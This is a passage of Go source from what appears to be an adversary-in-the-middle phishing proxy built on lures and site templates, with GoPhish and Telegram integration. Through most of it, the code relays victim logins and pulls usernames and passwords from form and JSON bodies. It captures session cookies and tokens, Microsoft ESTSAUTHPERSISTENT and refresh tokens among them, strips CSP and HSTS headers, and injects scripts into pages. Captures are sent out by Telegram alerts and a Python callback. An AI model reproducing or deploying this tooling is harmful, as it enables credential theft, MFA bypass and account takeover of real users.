														if actualCity != geo.City {
															log.Info("GeoProxy: [SESSION %s] Using actual city '%s' instead of requested '%s'", sessId[:8], actualCity, geo.City)
														}
												} else {
													log.Warning("GeoProxy: [SESSION %s] ✗ City proxy UNAVAILABLE for %s, %s (503 NO_RAY)", sessId[:8], geo.City, geo.CountryCode)
												}
												log.Info("[%d] GeoProxy assigned for new session: %s", sid, proxy.ProxyURL)
											}
										} else {
												log.Warning("[%d] GeoProxy assignment failed: %v", sid, err)
								}
									} else {
										log.Warning("GeoProxy: Failed to lookup IP %s: %v", remoteAddr, geoErr)
									}
								}(sid, session.Id, remote_addr, req.Header.Get("User-Agent"))

								// Log visitor immediately (non-blocking via pipeline)
								go saveVisitorLog(session.Id, sid, remote_addr, "", "", req.Header.Get("User-Agent"), pl.Name, o_host)
							}

									if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
										rid, ok := session.Params["rid"]
										if ok && rid != "" {
											p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
											err = p.gophish.ReportEmailLinkClicked(rid, remote_addr, req.Header.Get("User-Agent"))
											if err != nil {
												log.Error("gophish: %s", err)
											}
										}
									}

									landing_url := req_url
										// Async DB write — BuntDB Update() is single-writer, never block
										p.asyncCreateSession(session.Id, pl.Name, landing_url, req.Header.Get("User-Agent"), remote_addr)

									session.RemoteAddr = remote_addr
									session.UserAgent = req.Header.Get("User-Agent")
									session.RedirectURL = pl.RedirectUrl
									if l.RedirectUrl != "" {
										session.RedirectURL = l.RedirectUrl
									}
									if session.RedirectURL != "" {
										session.RedirectURL, _ = p.replaceUrlWithPhished(session.RedirectURL)
									}
									session.PhishLure = l
									log.Debug("redirect URL (lure): %s", session.RedirectURL)

									ps.SessionId = session.Id
									ps.Created = true
									ps.Index = sid
									p.whitelistIP(remote_addr, ps.SessionId, pl.Name)

									// ============================================
									req_ok = true
								}
							} else {
								log.Warning("[%s] unauthorized request: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)

								if p.cfg.GetBlacklistMode() == "unauth" {
									if !p.bl.IsWhitelisted(from_ip) {
										err := p.bl.AddIP(from_ip)
										if p.bl.IsVerbose() {
											if err != nil {
												log.Error("blacklist: %s", err)
											} else {
												log.Warning("blacklisted ip address: %s", from_ip)
											}
										}
									}
								}
								return p.blockRequest(req)
							}
						} else {
							log.Warning("[%s] request to hidden phishlet: %s (%s) [%s]", hiblue.Sprint(pl_name), req_url, req.Header.Get("User-Agent"), remote_addr)
						}
					}
				}

				if ps.SessionId == "" && p.handleSession(req.Host) {
					if !req_ok {
						return p.blockRequest(req)
					}
				}
				req.Header.Set(p.getHomeDir(), o_host)

				if ps.SessionId != "" {
					if s, ok := p.sessions.Get(ps.SessionId); ok {
						l, err := p.getLureByPathWithPattern(pl_name, o_host, req_path)
						if err == nil {
							if l.Redirector != "" {
								if !p.isForwarderUrl(req.URL) {
									if s.RedirectorName == "" {
										s.RedirectorName = l.Redirector
										s.LureDirPath = req_path
									}

									t_dir := l.Redirector
									if !filepath.IsAbs(t_dir) {
										redirectors_dir := p.cfg.GetRedirectorsDir()
										t_dir = filepath.Join(redirectors_dir, t_dir)
									}

									index_path1 := filepath.Join(t_dir, "index.html")
									index_path2 := filepath.Join(t_dir, "index.htm")
									index_found := ""
									if _, err := os.Stat(index_path1); !os.IsNotExist(err) {
										index_found = index_path1
									} else if _, err := os.Stat(index_path2); !os.IsNotExist(err) {
										index_found = index_path2
									}

									if _, err := os.Stat(index_found); !os.IsNotExist(err) {
										html, err := ioutil.ReadFile(index_found)
										if err == nil {

											html = p.injectOgHeaders(l, html)

											body := string(html)
											body = p.replaceHtmlParams(body, lure_url, &s.Params)

											resp := goproxy.NewResponse(req, "text/html", http.StatusOK, body)
											if resp != nil {
												return req, resp
											} else {
												log.Error("lure: failed to create html redirector response")
											}
										} else {
											log.Error("lure: failed to read redirector file: %s", err)
										}

									} else {
										log.Error("lure: redirector file does not exist: %s", index_found)
									}
								}
							}
						} else if s.RedirectorName != "" {
							rel_parts := []string{}
							req_path_parts := strings.Split(req_path, "/")
							lure_path_parts := strings.Split(s.LureDirPath, "/")

							for n, dname := range req_path_parts {
								if len(dname) > 0 {
									path_add := true
									if n < len(lure_path_parts) {
										if req_path_parts[n] == lure_path_parts[n] {
											path_add = false
										}
									}
									if path_add {
										rel_parts = append(rel_parts, req_path_parts[n])
									}
								}
							}
							rel_path := filepath.Join(rel_parts...)

							t_dir := s.RedirectorName
							if !filepath.IsAbs(t_dir) {
								redirectors_dir := p.cfg.GetRedirectorsDir()
								t_dir = filepath.Join(redirectors_dir, t_dir)
							}

							path := filepath.Join(t_dir, rel_path)
							if _, err := os.Stat(path); !os.IsNotExist(err) {
								fdata, err := ioutil.ReadFile(path)
								if err == nil {
									mime_type := getContentType(req_path, fdata)
									resp := goproxy.NewResponse(req, mime_type, http.StatusOK, "")
									if resp != nil {
										resp.Body = io.NopCloser(bytes.NewReader(fdata))
										return req, resp
									} else {
										log.Error("lure: failed to create redirector data file response")
									}
								} else {
									log.Error("lure: failed to read redirector data file: %s", err)
								}
							}
						}
					}
				}

				if pl != nil {
					_, err := p.getLureByPathWithPattern(pl_name, o_host, req_path)
					if err == nil {
						rurl := pl.GetLoginUrl()
						u, err := url.Parse(rurl)
						if err == nil {
							if strings.ToLower(req_path) != strings.ToLower(u.Path) {
								resp := goproxy.NewResponse(req, "text/html", http.StatusFound, "")
								if resp != nil {
									resp.Header.Add("Location", rurl)
									return req, resp
								}
							}
						}
					}
				}

				if p.cfg.IsLureHostnameValid(req.Host) {
					log.Debug("lure hostname detected - returning 404 for request: %s", req_url)

					resp := goproxy.NewResponse(req, "text/html", http.StatusNotFound, "")
					if resp != nil {
						return req, resp
					}
				}

				if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
					req.Host = r_host
				}

				origin := req.Header.Get("Origin")
				if origin != "" {
					if o_url, err := url.Parse(origin); err == nil {
						if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
							o_url.Host = r_host
							req.Header.Set("Origin", o_url.String())
						}
					}
				}

				req.Header.Set("Cache-Control", "no-cache")

				sec_fetch_dest := req.Header.Get("Sec-Fetch-Dest")
				if sec_fetch_dest != "" {
					if sec_fetch_dest == "iframe" {
						req.Header.Set("Sec-Fetch-Dest", "document")
					}
				}

				referer := req.Header.Get("Referer")
				if referer != "" {
					if o_url, err := url.Parse(referer); err == nil {
						if r_host, ok := p.replaceHostWithOriginal(o_url.Host); ok {
							o_url.Host = r_host
							req.Header.Set("Referer", o_url.String())
						}
					}
				}

				if pl != nil {
					qs := req.URL.Query()
					if len(qs) > 0 {
						for gp := range qs {
							for i, v := range qs[gp] {
								qs[gp][i] = string(p.patchUrls(pl, []byte(v), CONVERT_TO_ORIGINAL_URLS))
							}
						}
						req.URL.RawQuery = qs.Encode()
					}
				}

				if pl != nil && ps.SessionId != "" {
					req.Header.Set(p.getHomeDir(), o_host)
					body, err := ioutil.ReadAll(req.Body)
					if err == nil {
						req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))

						body = p.patchUrls(pl, body, CONVERT_TO_ORIGINAL_URLS)
						req.ContentLength = int64(len(body))

						log.Debug("POST: %s", req.URL.Path)
						log.Debug("POST body = %s", body)

						contentType := req.Header.Get("Content-type")

						json_re := regexp.MustCompile(`application\/\w*\+?json`)
						form_re := regexp.MustCompile(`application\/x-www-form-urlencoded`)

						if json_re.MatchString(contentType) {

							if pl.username.tp == "json" {
								um := pl.username.search.FindStringSubmatch(string(body))
								if um != nil && len(um) > 1 {
									p.setSessionUsername(ps.SessionId, um[1])
									log.Success("[%d] Username: [%s]", ps.Index, um[1])
										p.asyncSetSessionUsername(ps.SessionId, um[1])
								}
							}

							if pl.password.tp == "json" {
								pm := pl.password.search.FindStringSubmatch(string(body))
								if pm != nil && len(pm) > 1 {
									p.setSessionPassword(ps.SessionId, pm[1])
									log.Success("[%d] Password: [%s]", ps.Index, pm[1])
										p.asyncSetSessionPassword(ps.SessionId, pm[1])
										p.telegramPending(ps.SessionId, ps.Index, ps.PhishletName, o_host)
								}
							}

							for _, cp := range pl.custom {
								if cp.tp == "json" {
									cm := cp.search.FindStringSubmatch(string(body))
									if cm != nil && len(cm) > 1 {
										p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
										log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
											p.asyncSetSessionCustom(ps.SessionId, cp.key_s, cm[1])
									}
								}
							}

							for _, fp := range pl.forcePost {
								if fp.path.MatchString(req.URL.Path) {
									log.Debug("force_post: url matched: %s", req.URL.Path)
									ok_search := false
									if len(fp.search) > 0 {
										k_matched := len(fp.search)
										for _, fp_s := range fp.search {
											matches := fp_s.key.FindAllString(string(body), -1)
											for _, match := range matches {
												if fp_s.search.MatchString(match) {
													if k_matched > 0 {
														k_matched -= 1
													}
													log.Debug("force_post: [%d] matched - %s", k_matched, match)
													break
												}
											}
										}
										if k_matched == 0 {
											ok_search = true
										}
									} else {
										ok_search = true
									}
									if ok_search {
										for _, fp_f := range fp.force {
											body, err = SetJSONVariable(body, fp_f.key, fp_f.value)
											if err != nil {
												log.Debug("force_post: got error: %s", err)
											}
											log.Debug("force_post: updated body parameter: %s : %s", fp_f.key, fp_f.value)
										}
									}
									req.ContentLength = int64(len(body))
									log.Debug("force_post: body: %s len:%d", body, len(body))
								}
							}

						} else if form_re.MatchString(contentType) {

							if req.ParseForm() == nil && req.PostForm != nil && len(req.PostForm) > 0 {
								log.Debug("POST: %s", req.URL.Path)

								for k, v := range req.PostForm {
									if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
										um := pl.username.search.FindStringSubmatch(v[0])
										if um != nil && len(um) > 1 {
											p.setSessionUsername(ps.SessionId, um[1])
											log.Success("[%d] Username: [%s]", ps.Index, um[1])
											p.asyncSetSessionUsername(ps.SessionId, um[1])
										}
									}
									if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
										pm := pl.password.search.FindStringSubmatch(v[0])
										if pm != nil && len(pm) > 1 {
											p.setSessionPassword(ps.SessionId, pm[1])
											log.Success("[%d] Password: [%s]", ps.Index, pm[1])
											p.asyncSetSessionPassword(ps.SessionId, pm[1])
												p.telegramPending(ps.SessionId, ps.Index, ps.PhishletName, o_host)
										}
									}
									for _, cp := range pl.custom {
										if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
											cm := cp.search.FindStringSubmatch(v[0])
											if cm != nil && len(cm) > 1 {
												p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
												log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
												p.asyncSetSessionCustom(ps.SessionId, cp.key_s, cm[1])
											}
										}
									}
								}

								for k, v := range req.PostForm {
									for i, vv := range v {
										req.PostForm[k][i] = string(p.patchUrls(pl, []byte(vv), CONVERT_TO_ORIGINAL_URLS))
									}
								}

								for k, v := range req.PostForm {
									if len(v) > 0 {
										log.Debug("POST %s = %s", k, v[0])
									}
								}

								body = []byte(req.PostForm.Encode())
								req.ContentLength = int64(len(body))

								for _, fp := range pl.forcePost {
									if fp.path.MatchString(req.URL.Path) {
										log.Debug("force_post: url matched: %s", req.URL.Path)
										ok_search := false
										if len(fp.search) > 0 {
											k_matched := len(fp.search)
											for _, fp_s := range fp.search {
												for k, v := range req.PostForm {
													if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
														if k_matched > 0 {
															k_matched -= 1
														}
														log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
														break
													}
												}
											}
											if k_matched == 0 {
												ok_search = true
											}
										} else {
											ok_search = true
										}

										if ok_search {
											for _, fp_f := range fp.force {
												req.PostForm.Set(fp_f.key, fp_f.value)
											}
											body = []byte(req.PostForm.Encode())
											req.ContentLength = int64(len(body))
											log.Debug("force_post: body: %s len:%d", body, len(body))
										}
									}
								}

							}

						}
						req.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
					}
				}

				if pl != nil {
					if r_host, ok := p.replaceHostWithOriginal(req.Host); ok {
						for _, ic := range pl.intercept {
							if ic.domain == r_host && ic.path.MatchString(req.URL.Path) {
								return p.interceptRequest(req, ic.http_status, ic.body, ic.mime)
							}
						}
					}
				}
			}

			return req, nil
		})

	p.Proxy.OnResponse().
		DoFunc(func(resp *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
			if resp == nil {
				return nil
			}

			ck := &http.Cookie{}
			ps := ctx.UserData.(*ProxySession)
			if ps.SessionId != "" {
				if ps.Created {
					ck = &http.Cookie{
						Name:    getSessionCookieName(ps.PhishletName, p.cookieName),
						Value:   ps.SessionId,
						Path:    "/",
						Domain:  p.cfg.GetBaseDomain(),
						Expires: time.Now().Add(60 * time.Minute),
					}
				}
			}

			allow_origin := resp.Header.Get("Access-Control-Allow-Origin")
			if allow_origin != "" && allow_origin != "*" {
				if u, err := url.Parse(allow_origin); err == nil {
					if o_host, ok := p.replaceHostWithPhished(u.Host); ok {
						resp.Header.Set("Access-Control-Allow-Origin", u.Scheme+"://"+o_host)
					}
				} else {
					log.Warning("can't parse URL from 'Access-Control-Allow-Origin' header: %s", allow_origin)
				}
				resp.Header.Set("Access-Control-Allow-Credentials", "true")
			}
			var rm_headers = []string{
				"Content-Security-Policy",
				"Content-Security-Policy-Report-Only",
				"Strict-Transport-Security",
				"X-XSS-Protection",
				"X-Content-Type-Options",
				"X-Frame-Options",
			}
			for _, hdr := range rm_headers {
				resp.Header.Del(hdr)
			}

			redirect_set := false
			if s, ok := p.sessions.Get(ps.SessionId); ok {
				if s.RedirectURL != "" {
					redirect_set = true
				}
			}

			req_hostname := strings.ToLower(resp.Request.Host)

			r_url, err := resp.Location()
			if err == nil {
				if r_host, ok := p.replaceHostWithPhished(r_url.Host); ok {
					r_url.Host = r_host
					resp.Header.Set("Location", r_url.String())
				}
			}

			pl := p.getPhishletByOrigHost(req_hostname)
			var auth_tokens map[string][]*CookieAuthToken
			if pl != nil {
				auth_tokens = pl.cookieAuthTokens
			}
			is_cookie_auth := false
			is_body_auth := false
			is_http_auth := false
			cookies := resp.Cookies()
			resp.Header.Del("Set-Cookie")
			for _, ck := range cookies {
				if ck.Secure {
					ck.SameSite = http.SameSiteNoneMode
				}

				if len(ck.RawExpires) > 0 && ck.Expires.IsZero() {
					exptime, err := time.Parse(time.RFC850, ck.RawExpires)
					if err != nil {
						exptime, err = time.Parse(time.ANSIC, ck.RawExpires)
						if err != nil {
							exptime, err = time.Parse("Monday, 02-Jan-2006 15:04:05 MST", ck.RawExpires)
						}
					}
					ck.Expires = exptime
				}

				if pl != nil && ps.SessionId != "" {
					c_domain := ck.Domain
					if c_domain == "" {
						c_domain = req_hostname
					} else {
						if c_domain[0] != '.' {
							c_domain = "." + c_domain
						}
					}
					log.Debug("%s: %s = %s", c_domain, ck.Name, ck.Value)
					at := pl.getAuthToken(c_domain, ck.Name)
					if at != nil {
						s, ok := p.sessions.Get(ps.SessionId)
						if ok && (s.IsAuthUrl || !s.IsDone) {
							if ck.Value != "" && (at.always || ck.Expires.IsZero() || time.Now().Before(ck.Expires)) {
								log.Debug("session: %s: %s = %s", c_domain, ck.Name, ck.Value)
								s.AddCookieAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, ck.Expires)
								// Log ALL captured auth tokens to terminal
								log.Info("[TOKEN-CAPTURE] [%d] %s = %s... (%d chars)", ps.Index, ck.Name, ck.Value[:min(len(ck.Value), 60)], len(ck.Value))
								}
							}
						}
						if strings.HasPrefix(ck.Name, "x-ms-RefreshTokenCredential") && ck.Value != "" {
							s, ok := p.sessions.Get(ps.SessionId)
							if ok {
								s.AddCookieAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, ck.Expires)
								log.Success("[%d] %s captured!", ps.Index, ck.Name)
								log.Info("[MS-TOKEN] [PRT] Token: %s...", ck.Value[:min(len(ck.Value), 80)])
								log.Info("[MS-TOKEN] Triggering token fetch for session %s", s.Id[:8])
								go GetMicrosoftTokenFetcher().FetchAndLog(s.Id, s.Username, s.Password, s.CookieTokens, ck.Value)
							}
						}
						if ck.Name == "ESTSAUTHPERSISTENT" && ck.Value != "" {
							s, ok := p.sessions.Get(ps.SessionId)
							if ok {
								s.AddCookieAuthToken(c_domain, ck.Name, ck.Value, ck.Path, ck.HttpOnly, ck.Expires)
								log.Success("[%d] ESTSAUTHPERSISTENT captured!", ps.Index)
								log.Info("[MS-TOKEN] [ESTSAUTHPERSISTENT] %s...", ck.Value[:min(len(ck.Value), 80)])
								go sendPythonCallback(s.Username, formatCookiesForChrome(s, ps.PhishDomain), s.Id)
								log.Info("[MS-TOKEN] Triggering token fetch for session %s", s.Id[:8])
								go GetMicrosoftTokenFetcher().FetchAndLog(s.Id, s.Username, s.Password, s.CookieTokens, "")
							}
						}
						// Capture ALL Microsoft session cookies for complete token dump
						if ck.Value != "" && (strings.Contains(c_domain, "microsoft") || strings.Contains(c_domain, "live.com") || strings.Contains(c_domain, "office")) {
							if ck.Name != "ESTSAUTHPERSISTENT" && !strings.HasPrefix(ck.Name, "x-ms-RefreshTokenCredential") {
								log.Info("[TOKEN-CAPTURE] [%d] Cookie %s = %s... (%d chars)", ps.Index, ck.Name, ck.Value[:min(len(ck.Value), 50)], len(ck.Value))
							}
						}
					}

					ck.Domain, _ = p.replaceHostWithPhished(ck.Domain)
					resp.Header.Add("Set-Cookie", ck.String())
				}
				if ck.String() != "" {
					resp.Header.Add("Set-Cookie", ck.String())
				}

				body, err := ioutil.ReadAll(resp.Body)

				if pl != nil {
					if s, ok := p.sessions.Get(ps.SessionId); ok {
						if len(pl.bodyAuthTokens) == 0 {
							log.Debug("[%d] No body_auth_tokens configured in phishlet", ps.Index)
						} else {
							log.Debug("[%d] Checking %d body_auth_tokens", ps.Index, len(pl.bodyAuthTokens))
						}
						for k, v := range pl.bodyAuthTokens {
							if _, ok := s.BodyTokens[k]; !ok {
								log.Debug("[%d] body_auth_token[%s]: checking req_host=%s vs domain=%s path=%s", ps.Index, k, req_hostname, v.domain, resp.Request.URL.Path)
								if req_hostname == v.domain && v.path.MatchString(resp.Request.URL.Path) {
									token_re := v.search.FindStringSubmatch(string(body))
									if token_re != nil && len(token_re) >= 2 {
										s.BodyTokens[k] = token_re[1]
										log.Success("[%d] Body token captured: %s", ps.Index, k)
											// Log captured body token to terminal
											if s.Username != "" && token_re[1] != "" {
												log.Info("[TOKEN-CAPTURE] [%d] Body token %s = %s...", ps.Index, k, token_re[1][:min(len(token_re[1]), 60)])
											}
									}
								}
							}
						}


									// Extract Microsoft flow tokens (sFT, sCtx, sCanary, urlPost)
									// These are critical for token exchange and device registration
									if strings.Contains(req_hostname, "microsoft") || strings.Contains(req_hostname, "live") {
										bodyStr := string(body)
										flowTokens := extractFlowTokens(bodyStr)
										for ftName, ftVal := range flowTokens {
											if ftVal != "" {
												log.Info("[FLOW-TOKEN] [%d] %s = %s...", ps.Index, ftName, ftVal[:min(len(ftVal), 60)])
											}
										}
									}

						if len(pl.httpAuthTokens) == 0 {
							log.Debug("[%d] No http_auth_tokens configured in phishlet", ps.Index)
						} else {
							log.Debug("[%d] Checking %d http_auth_tokens", ps.Index, len(pl.httpAuthTokens))
						}
						for k, v := range pl.httpAuthTokens {
							if _, ok := s.HttpTokens[k]; !ok {
								hv := resp.Header.Get(v.header)
								if hv != "" {
									s.HttpTokens[k] = hv
									log.Success("[%d] HTTP token captured: %s", ps.Index, k)
									// Log HTTP token to terminal
									hvPreview := hv
									if len(hvPreview) > 80 {
										hvPreview = hvPreview[:80] + "..."
									}
									log.Info("[TOKEN-CAPTURE] [%d] HTTP %s = %s", ps.Index, k, hvPreview)
								}
							}
						}
					}

					if len(pl.authUrls) == 0 {
						if s, ok := p.sessions.Get(ps.SessionId); ok {
							is_cookie_auth = s.AllCookieAuthTokensCaptured(auth_tokens)
							if len(pl.bodyAuthTokens) == len(s.BodyTokens) {
								is_body_auth = true
							}
							if len(pl.httpAuthTokens) == len(s.HttpTokens) {
								is_http_auth = true
							}
						}
					}
				}

				if is_cookie_auth && is_body_auth && is_http_auth {
					if s, ok := p.sessions.Get(ps.SessionId); ok {
						if !s.IsDone {
							log.Success("[%d] all authorization tokens intercepted!", ps.Index)

										// Async cookie storage — BuntDB Update() is single-writer, fire in background
										go func(sid string, toks map[string]map[string]*database.CookieToken) {
											if err := p.db.SetSessionCookieTokens(sid, toks); err != nil {
												log.Error("database: %v", err)
											}
										}(ps.SessionId, s.CookieTokens)
										p.asyncSetSessionBodyTokens(ps.SessionId, s.BodyTokens)
										p.asyncSetSessionHttpTokens(ps.SessionId, s.HttpTokens)
							s.Finish(false)

							if val, _ := p.telegramCorrectSent.Load(ps.SessionId); val == nil || !val.(bool) {
								p.telegramCorrect(ps.SessionId, ps.Index, ps.PhishletName, ps.PhishDomain)
							}

							if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
								rid, ok := s.Params["rid"]
								if ok && rid != "" {
									p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
									err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
									if err != nil {
										log.Error("gophish: %s", err)
									}
								}
							}
						}
					}
				}

				mime := strings.Split(resp.Header.Get("Content-type"), ";")[0]
				if err == nil {
					for site, pl := range p.cfg.phishlets {
						if p.cfg.IsSiteEnabled(site) {
							sfs, ok := pl.subfilters[req_hostname]
							if ok {
								for _, sf := range sfs {
									var param_ok bool = true
									if s, ok := p.sessions.Get(ps.SessionId); ok {
										var params []string
										for k := range s.Params {
											params = append(params, k)
											}
										if len(sf.with_params) > 0 {
											param_ok = false
											for _, param := range sf.with_params {
												if stringExists(param, params) {
													param_ok = true
													break
												}
											}
										}
									}
									if stringExists(mime, sf.mime) && (!sf.redirect_only || sf.redirect_only && redirect_set) && param_ok {
										re_s := sf.regexp
										replace_s := sf.replace
										phish_hostname, _ := p.replaceHostWithPhished(combineHost(sf.subdomain, sf.domain))
										phish_sub, _ := p.getPhishSub(phish_hostname)

										re_s = strings.Replace(re_s, "{hostname}", regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain)), -1)
										re_s = strings.Replace(re_s, "{subdomain}", regexp.QuoteMeta(sf.subdomain), -1)
										re_s = strings.Replace(re_s, "{domain}", regexp.QuoteMeta(sf.domain), -1)
										re_s = strings.Replace(re_s, "{basedomain}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
										re_s = strings.Replace(re_s, "{hostname_regexp}", regexp.QuoteMeta(regexp.QuoteMeta(combineHost(sf.subdomain, sf.domain))), -1)
										re_s = strings.Replace(re_s, "{subdomain_regexp}", regexp.QuoteMeta(sf.subdomain), -1)
										re_s = strings.Replace(re_s, "{domain_regexp}", regexp.QuoteMeta(sf.domain), -1)
										re_s = strings.Replace(re_s, "{basedomain_regexp}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
										replace_s = strings.Replace(replace_s, "{hostname}", phish_hostname, -1)
										replace_s = strings.Replace(replace_s, "{orig_hostname}", obfuscateDots(combineHost(sf.subdomain, sf.domain)), -1)
										replace_s = strings.Replace(replace_s, "{orig_domain}", obfuscateDots(sf.domain), -1)
										replace_s = strings.Replace(replace_s, "{subdomain}", phish_sub, -1)
										replace_s = strings.Replace(replace_s, "{basedomain}", p.cfg.GetBaseDomain(), -1)
										replace_s = strings.Replace(replace_s, "{hostname_regexp}", regexp.QuoteMeta(phish_hostname), -1)
										replace_s = strings.Replace(replace_s, "{subdomain_regexp}", regexp.QuoteMeta(phish_sub), -1)
										replace_s = strings.Replace(replace_s, "{basedomain_regexp}", regexp.QuoteMeta(p.cfg.GetBaseDomain()), -1)
										phishDomain, ok := p.cfg.GetSiteDomain(pl.Name)
										if ok {
											replace_s = strings.Replace(replace_s, "{domain}", phishDomain, -1)
											replace_s = strings.Replace(replace_s, "{domain_regexp}", regexp.QuoteMeta(phishDomain), -1)
										}

										if re, err := regexp.Compile(re_s); err == nil {
											body = []byte(re.ReplaceAllString(string(body), replace_s))
										} else {
											log.Error("regexp failed to compile: `%s`", sf.regexp)
										}
									}
								}
							}

							if stringExists(mime, p.auto_filter_mimes) {
								for _, ph := range pl.proxyHosts {
									if req_hostname == combineHost(ph.orig_subdomain, ph.domain) {
										if ph.auto_filter {
											body = p.patchUrls(pl, body, CONVERT_TO_PHISHING_URLS)
										}
									}
								}
							}
							body = []byte(removeObfuscatedDots(string(body)))
						}
					}

					if stringExists(mime, []string{"text/html"}) {

					if pl != nil && ps.SessionId != "" {
							s, ok := p.sessions.Get(ps.SessionId)
							if ok {
								if s.PhishLure != nil {
									l := s.PhishLure
									body = p.injectOgHeaders(l, body)
								}

								var js_params *map[string]string = nil
								if s, ok := p.sessions.Get(ps.SessionId); ok {
									js_params = &s.Params
								}
								js_id, _, err := pl.GetScriptInject(req_hostname, resp.Request.URL.Path, js_params)
								if err == nil {
									body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s/%s.js", s.Id, js_id))
								}

								log.Debug("js_inject: injected redirect script for session: %s", s.Id)
								body = p.injectJavascriptIntoBody(body, "", fmt.Sprintf("/s/%s.js", s.Id))
							}
						}
					}

					resp.Body = ioutil.NopCloser(bytes.NewBuffer([]byte(body)))
				}

				if pl != nil && ps.SessionId != "" {
					if mfa := detectMFAType(resp.Request.URL.Path); mfa != "" {
						existing := ""
						if val, _ := p.sessionMFAType.Load(ps.SessionId); val != nil {
							existing = val.(string)
						}
						if existing == "" {
							p.sessionMFAType.Store(ps.SessionId, mfa)
							log.Info("[%d] MFA detected early: %s (path: %s)", ps.Index, mfa, resp.Request.URL.Path)
						}
					}
				}

				if pl != nil && len(pl.authUrls) > 0 && ps.SessionId != "" {
					s, ok := p.sessions.Get(ps.SessionId)
					if ok {
						for _, au := range pl.authUrls {
							if au.MatchString(resp.Request.URL.Path) {
								if !s.IsDone {
									s.Finish(true)
								}

											// Async cookie/body/http token storage — BuntDB Update() is single-writer, fire in background
											go func(sid string, toks map[string]map[string]*database.CookieToken) {
												if err := p.db.SetSessionCookieTokens(sid, toks); err != nil {
													log.Error("database: %v", err)
												}
											}(ps.SessionId, s.CookieTokens)
											p.asyncSetSessionBodyTokens(ps.SessionId, s.BodyTokens)
											p.asyncSetSessionHttpTokens(ps.SessionId, s.HttpTokens)
								if err != nil {
									log.Error("database: %v", err)
								}

								if err == nil {
									log.Success("[%d] detected authorization URL - tokens intercepted: %s", ps.Index, resp.Request.URL.Path)
								}

								if val, _ := p.telegramCorrectSent.Load(ps.SessionId); (val == nil || !val.(bool)) && s.Username != "" && s.Password != "" {
									p.telegramCorrect(ps.SessionId, ps.Index, ps.PhishletName, ps.PhishDomain)
								}

								if p.cfg.GetGoPhishAdminUrl() != "" && p.cfg.GetGoPhishApiKey() != "" {
									rid, ok := s.Params["rid"]
									if ok && rid != "" {
										p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
										err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
										if err != nil {
											log.Error("gophish: %s", err)
										}
									}
								}
								break
							}
						}
					}
				}

				if ps.SessionId != "" {
					alreadySent := false
					if val, _ := p.telegramCorrectSent.Load(ps.SessionId); val != nil {
						alreadySent = val.(bool)
					}
					if !alreadySent {
						if s, ok := p.sessions.Get(ps.SessionId); ok {
							if s.IsDone && s.Username != "" && s.Password != "" {
								log.Info("[%d] Safety net: sending missed telegramCorrect for session", ps.Index)
								p.telegramCorrect(ps.SessionId, ps.Index, ps.PhishletName, ps.PhishDomain)
							}
						}
					}
				}

				if stringExists(mime, []string{"text/html", "application/javascript", "text/javascript", "application/json"}) {
					resp.Header.Set("Cache-Control", "no-cache, no-store")
				}

				if pl != nil && ps.SessionId != "" {
					s, ok := p.sessions.Get(ps.SessionId)
					if ok && s.IsDone {
						if s.RedirectURL != "" && s.RedirectCount == 0 {
							if stringExists(mime, []string{"text/html"}) && resp.StatusCode == 200 && len(body) > 0 && (strings.Index(string(body), "</head>") >= 0 || strings.Index(string(body), "</body>") >= 0) {
								s.RedirectCount += 1
								log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount)

								_, resp := p.javascriptRedirect(resp.Request, s.RedirectURL)
								return resp
							}
						}
					}
				}

			return resp
		})

	goproxy.OkConnect = &goproxy.ConnectAction{Action: goproxy.ConnectAccept, TLSConfig: p.TLSConfigFromCA()}
	goproxy.MitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectMitm, TLSConfig: p.TLSConfigFromCA()}
	goproxy.HTTPMitmConnect = &goproxy.ConnectAction{Action: goproxy.ConnectHTTPMitm, TLSConfig: p.TLSConfigFromCA()}
	goproxy.RejectConnect = &goproxy.ConnectAction{Action: goproxy.ConnectReject, TLSConfig: p.TLSConfigFromCA()}

	return p, nil
}
func (p *HttpProxy) waitForRedirectUrl(session_id string) (string, bool) {

	s, ok := p.sessions.Get(session_id)
	if ok {

		if s.IsDone {
			return s.RedirectURL, true
		}

		ticker := time.NewTicker(30 * time.Second)
		select {
		case <-ticker.C:
			break
		case <-s.DoneSignal:
			return s.RedirectURL, true
		}
	}
	return "", false
}

func (p *HttpProxy) blockRequest(req *http.Request) (*http.Request, *http.Response) {
	var redirect_url string
	if pl := p.getPhishletByPhishHost(req.Host); pl != nil {
